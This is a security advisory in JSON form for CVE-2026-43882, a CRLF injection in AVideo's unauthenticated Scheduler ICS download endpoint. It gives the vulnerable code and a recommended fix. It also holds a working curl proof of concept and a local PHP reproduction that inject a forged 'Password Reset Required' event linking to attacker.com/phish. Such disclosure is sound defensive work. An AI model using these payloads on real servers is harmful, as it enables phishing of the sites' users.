CVE-2026-43882: AVideo Unauthenticated CRLF/ICS Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mwgh-92m2-wvhv",
  "modified" : "2026-05-13T14:20:32Z",
  "published" : "2026-05-05T22:14:31Z",
  "aliases" : [ "CVE-2026-43882" ],
  "summary" : "AVideo: Unauthenticated CRLF/ICS Injection in Scheduler downloadICS.php Allows Calendar Event Spoofing",
  "details" : "## Summary\n\nThe unauthenticated `plugin/Scheduler/downloadICS.php` endpoint passes attacker-controlled `title`, `description`, and `joinURL` parameters into `Scheduler::downloadICS()`, which builds an ICS calendar file via the `ICS` helper class. `ICS::escape_string()` (`objects/ICS.php:167-169`) only escapes `,` and `;` and does NOT neutralize CR/LF, so attacker CRLF bytes inside a property value break out and inject arbitrary ICS lines — including `END:VEVENT` / `BEGIN:VEVENT` pairs that add entire attacker-controlled calendar events. Because the malicious `.ics` file is served from the victim's trusted AVideo origin, this enables high-credibility calendar phishing: forged meetings with attacker-chosen `SUMMARY`, `URL`, `LOCATION`, and `DESCRIPTION` landing in the victim's calendar after import.\n\n## Details\n\n### Vulnerable code path\n\n**`plugin/Scheduler/downloadICS.php`** — unauthenticated entry point:\n\n```php\nif(!AVideoPlugin::isEnabledByName('Scheduler')){\n    forbiddenPage('Scheduler is disabled');\n}\nif(empty($_REQUEST['title'])){ forbiddenPage('Title cannot be empty'); }\nif(empty($_REQUEST['date_start'])){ forbiddenPage('date_start cannot be empty'); }\n\nScheduler::downloadICS($_REQUEST['title'], $_REQUEST['date_start'], @$_REQUEST['date_end'],\n    @$_REQUEST['reminder'], @$_REQUEST['joinURL'], @$_REQUEST['description']);\n```\n\nThere is no session check, no CSRF token, no user-role check — only an empty-check on `title`/`date_start` and a plugin-enabled check.\n\n**`plugin/Scheduler/Scheduler.php:367-382`** passes inputs directly to the ICS builder:\n\n```php\n$props = array(\n    'location' => $location,\n    'description' => $description,   // attacker-controlled\n    'dtstart' => $dtstart,\n    'dtend' => $dtend,\n    'summary' => $title,             // attacker-controlled\n    'url' => $joinURL,               // attacker-controlled\n    'valarm' => $VALARM,\n);\n$ics = new ICS($props);\n...\necho $icsString;\n```\n\n**`objects/ICS.php:167-169`** — incomplete escape:\n\n```php\nprivate function escape_string($str) {\n    return preg_replace('/([\\,;])/','\\\\\\$1', $str);\n}\n```\n\nPer RFC 5545 §3.3.11, TEXT values must also have CR/LF either folded or encoded as `\\n`. This implementation does neither. `ICS::to_string()` (line 101) joins every property with `\"\\r\\n\"`, so any raw `\\r\\n` sequence embedded in a value breaks out of the property line and injects new ICS directives.\n\n### Verified exploit output\n\nRunning the builder with a CRLF-laden `description` produces a file with two distinct `VEVENT` blocks (the second entirely attacker-controlled):\n\n```\nBEGIN:VCALENDAR\nVERSION:2.0\nPRODID:-//hacksw/handcal//NONSGML v1.0//EN\nCALSCALE:GREGORIAN\nBEGIN:VEVENT\nDESCRIPTION:Hello\nEND:VEVENT\nBEGIN:VEVENT\nSUMMARY:Injected\nURL:http://attacker.com\nDTSTART:20260501T000000Z\nDTEND:20260501T130000Z\nSUMMARY:Legit\nURL;VALUE=URI:https://example.com\nDTSTAMP:20260424T082123Z\nUID:69eb2803d1aa2\nEND:VEVENT\nEND:VCALENDAR\n```\n\nThe injected `BEGIN:VEVENT` / `END:VEVENT` pair is standards-compliant and parsed as an additional event by Outlook, Apple Calendar, Google Calendar, and Thunderbird/Lightning.\n\n## PoC\n\n1. Ensure the Scheduler plugin is enabled on the target (default-shipped optional plugin, commonly enabled on streaming deployments).\n\n2. Send an unauthenticated GET request with CRLF-encoded payload in `description`:\n\n```\ncurl -o malicious.ics \\\n  'http://victim.example.com/plugin/Scheduler/downloadICS.php?title=Team%20Standup&date_start=2026-05-01+12:00&description=Hello%0D%0AEND:VEVENT%0D%0ABEGIN:VEVENT%0D%0ASUMMARY:URGENT%3A%20Password%20Reset%20Required%0D%0ADTSTART:20260601T090000Z%0D%0ADTEND:20260601T100000Z%0D%0AURL:http://attacker.com/phish%0D%0ALOCATION:Online%0D%0ADESCRIPTION:Please%20click%20the%20URL%20to%20confirm%20your%20identity'\n```\n\n3. The returned file contains two `VEVENT` blocks. Import into any standards-compliant calendar client — both events appear in the victim's calendar. The injected event renders with an attacker-chosen clickable URL.\n\nLocal reproduction (without needing a running server) using the same code path:\n\n```\nphp -r \"require 'objects/ICS.php'; \\$p = ['description' => \\\"Hello\\r\\nEND:VEVENT\\r\\nBEGIN:VEVENT\\r\\nSUMMARY:Injected\\r\\nURL:http://attacker.com\\\", 'dtstart'=>'2026-05-01', 'dtend'=>'2026-05-01 13:00', 'summary'=>'Legit', 'url'=>'https://example.com']; echo (new ICS(\\$p))->to_string();\"\n```\n\nProduces the two-VEVENT output shown above (verified).\n\n## Impact\n\n- **Same-origin calendar phishing.** The `.ics` is served from the trusted AVideo domain, bypassing URL-reputation checks and email-filter suspicion of attacker-hosted attachments.\n- **Arbitrary event spoofing.** Attacker controls `SUMMARY`, `DTSTART`, `DTEND`, `URL`, `LOCATION`, `DESCRIPTION`, and may add further ICS properties (e.g. `ORGANIZER`, `ATTENDEE`). Many mainstream calendar clients display the `URL` field as a clickable link in the event body.\n- **Integrity:** Low — unwanted/forged events are added to the victim's calendar after they import the file.\n- **Auth:** None. Precondition is only that the Scheduler plugin is enabled, which is typical on deployments that use AVideo's scheduled streaming features.\n- **Confidentiality / Availability:** No direct impact.\n\nNot a higher-severity response-splitting bug: PHP's `header()` blocks CRLF in response headers since 5.1.2, so the CRLF bytes do not escape into HTTP headers — only into the ICS body.\n\n## Recommended Fix\n\nStrip or RFC-5545-encode CR/LF in `ICS::escape_string()` so newline bytes cannot break out of a property line. In `objects/ICS.php:167-169`:\n\n```php\nprivate function escape_string($str) {\n    // RFC 5545 §3.3.11: escape backslash, semicolon, comma; encode newlines as \\n\n    $str = str_replace(array(\"\\\\\", \"\\r\\n\", \"\\r\", \"\\n\"), array(\"\\\\\\\\\", \"\\\\n\", \"\\\\n\", \"\\\\n\"), $str);\n    return preg_replace('/([\\,;])/', '\\\\\\\\$1', $str);\n}\n```\n\nAdditionally, `plugin/Scheduler/downloadICS.php` should either require authentication or at minimum apply strict input validation (length caps, character whitelists) on `title`, `description`, and `joinURL` — and `joinURL` should continue to be validated via `isValidURL()` (already done) before emission. Consider adding a defence-in-depth strip of CR/LF on every `$_REQUEST` parameter used by `Scheduler::downloadICS()`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "29.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-mwgh-92m2-wvhv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-43882"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/764db592f99e545aa86bb9a4ad664ffd14c38ba5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-05T22:14:31Z",
    "nvd_published_at" : "2026-05-11T22:22:12Z"
  }
}